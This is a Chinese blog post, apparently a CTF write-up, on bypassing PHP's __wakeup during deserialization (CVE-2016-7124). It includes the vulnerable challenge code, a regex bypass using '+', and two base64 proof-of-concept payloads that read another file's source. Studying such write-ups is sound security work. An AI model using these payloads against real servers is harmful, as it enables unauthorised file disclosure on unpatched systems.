zoukankan      html  css  js  c++  java
  • php反序列化漏洞绕过魔术方法 __wakeup

    0x01 前言

    前天学校的ctf比赛,有一道题是关于php反序列化漏洞绕过wakeup,最后跟着大佬们学到了一波姿势。。

    0x02 原理

    序列化与反序列化简单介绍

    序列化:把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等  函数 : serialize()

    反序列化:恢复原先被序列化的变量 函数: unserialize()

    1 <?php
    2 $test1 = "hello world";
    3 $test2 = array("hello","world");
    4 $test3 = 123456;
    5 echo serialize($test1); //  s:11:"hello world";  序列化字符串
    6 echo serialize($test2); // a:2:{i:0;s:5:"hello";i:1;s:5:"world";} 序列化数组
    7 echo serialize($test3); //  i:123456;  
    8 ?>
    1 <?php
    2 class hello{
    3     public $test4 = "hello,world";
    4 }
    5 $test = new hello();
    6 echo serialize($test);  //  O:5:"hello":1:{s:5:"test4";s:11:"hello,world";}  序列化对象  首字母代表参数类型 O->Objext S->String...
    7 ?>

    魔术方法:官方文档中介绍

    __construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(),
    __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone() 和 __debugInfo() 等方法在 PHP 中被称为"魔术方法"(Magic methods)。在命名自己的类方法时不能使用这些方法名,除非是想使用其魔术功能。

    __wakeup()魔术方法

    unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。 

    序列化public private protect参数产生不同结果

    1 <?php
    2 class test{
    3     private $test1="hello";
    4     public $test2="hello";
    5     protected $test3="hello";
    6 }
    7 $test = new test();
    8 echo serialize($test);  //  O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}
    9 ?>

    test类定义了三个不同类型(私有,公有,保护)但是值相同的字符串,序列化输出的值不相同 O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}

    通过对网页抓取输出是这样的 O:4:"test":3:{s:11:"\00test\00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"\00*\00test3";s:5:"hello";}

    private的参数被反序列化后变成 \00test\00test1 public的参数变成 test2   protected的参数变成 \00*\00test3 

    0x03 分析

    比赛题目

     1 <?php 
     2     error_reporting(0); 
     3     class sercet{ 
     4         private $file='index.php'; 
     5          
     6         public function __construct($file){ 
     7             $this->file=$file; 
     8         } 
     9          
    10         function __destruct(){ 
    11             echo show_source($this->file,true); 
    12         } 
    13          
    14         function __wakeup(){ 
    15             $this->file='index.php'; 
    16         } 
    17     } 
    18      
    19     $cmd=cmd00; 
    20     if (!isset($_GET[$cmd])){ 
    21         echo show_source('index.php',true); 
    22     } 
    23     else{ 
    24         $cmd=base64_decode($_GET[$cmd]); 
    25         if ((preg_match('/[oc]:\d+:/i',$cmd))||(preg_match('/flag/i',$cmd))){ 
    26             echo "Are u gaoshing?"; 
    27         } 
    28         else{ 
    29             unserialize($cmd); 
    30         } 
    31     }
    32 ?> 
    33 //sercet in the_next.php

    大致思路 首先是一个类sercet 接受$cmd,绕过正则 ,反序列化。覆盖$file的值,绕过 __wakeup,显示the_next.php的源码

     1 <?php
     2     class sercet{ 
     3         private $file='index.php'; 
     4          
     5         public function __construct($file){ 
     6             $this->file=$file; 
     7         } 
     8          
     9         function __destruct(){ 
    10             echo show_source($this->file,true); 
    11         } 
    12          
    13         function __wakeup(){ 
    14             $this->file='index.php'; 
    15         } 
    16     } 
    17     $test = new sercet("the_next.php");
    18     echo serialize($test);  // O:6:"sercet":1:{s:12:" sercet file";s:12:"the_next.php";}
    19 ?>

    绕过正则可以用+号 问题是如何绕过__weakup 百度一下  发现这是一个CVE漏洞 ==》当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

     O:6:"sercet":1:  也就是输入比1大的值就行   如O:6:"sercet":2:

    POC1:  TzorNjoic2VyY2V0IjozOntzOjEyOiIAc2VyY2V0AGZpbGUiO3M6MTI6InRoZV9uZXh0LnBocCI7fQ==

    在复现的过程中 我发现在hackbar中直接将 O:+6:"sercet":1:{s:12:" sercet file";s:12:"the_next.php";} base64编码不能绕过 必须要在本地base64_encode生成 才能复现成功  百度了一波 

    所以POC2:  O:+6:"sercet":2:{S:12:"\00sercet\00file";s:12:"the_next.php";}  TzorNjoic2VyY2V0IjoyOntTOjEyOiJcMDBzZXJjZXRcMDBmaWxlIjtzOjEyOiJ0aGVfbmV4dC5waHAiO30KCgo=

     两个POC均可以成功绕过

    参考链接

      php bugs 72663分析(CVE-2016-7124)

      由HITCON 2016一道web聊一聊php反序列化漏洞

    keep hacking keep coding
  • 相关阅读:
    c++之五谷杂粮4---explicit
    ping
    Swift常量和变量
    Swift数据类型简介
    Swift 注释
    Swift标示符以及关键字
    xcode简介
    认识Swift
    Android_adb详解
    详解Android AM命令
  • 原文地址:https://www.cnblogs.com/Mrsm1th/p/6835592.html
Copyright © 2011-2022 走看看